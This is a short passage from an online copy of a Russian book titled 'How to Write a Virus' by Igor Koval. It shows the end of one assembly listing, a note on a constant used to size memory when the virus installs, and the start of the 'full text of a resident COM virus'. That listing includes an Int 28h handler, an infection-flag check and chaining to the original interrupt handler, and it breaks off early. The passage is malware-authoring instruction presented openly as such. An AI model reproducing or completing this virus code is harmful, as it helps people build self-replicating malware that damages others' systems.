"Игорь Коваль. Как написать вирус" - читать интересную книгу автора

prg_end: mov ax,4c00h ;Выход в DOS
INT 21H ;только для за-
;пускающей прог-
;раммы ...

db '1' ;И ее последний
;байт ...

prg ends ;Стандартное
end start ;" окончание "
;ASM - программы

Единственное отличие заключается в том, что по-
требовалось ввести константу " vir_par ".Она нужна
для расчета необходимой длины блока памяти при ин-
сталляции вируса и в некоторых других вычислениях.


2.25 Текст резидентного COM - вируса

Теперь мы можем привести полный текст резидентной
программы - вируса :

; _______________________________________________
;| |
;| COM TSR virus |
;| Especially for my readers |
;|_______________________________________________|

prg segment
assume cs:prg,ds:prg,es:prg,ss:prg
org 100h

start: jmp vir

org 110h
;С метки " vir "
;фактически на-
;чинается обра-
;ботчик Int 28h

vir: db 0ebh ;90h - Для рези-
db push_len ;90h дентной
; работы .

pushf
cmp cs:tg_infect-110h,1;Активизиро-
;ваться ?
je cs:vir_2 ;Да ...
call dword ptr cs:old_28h - 110h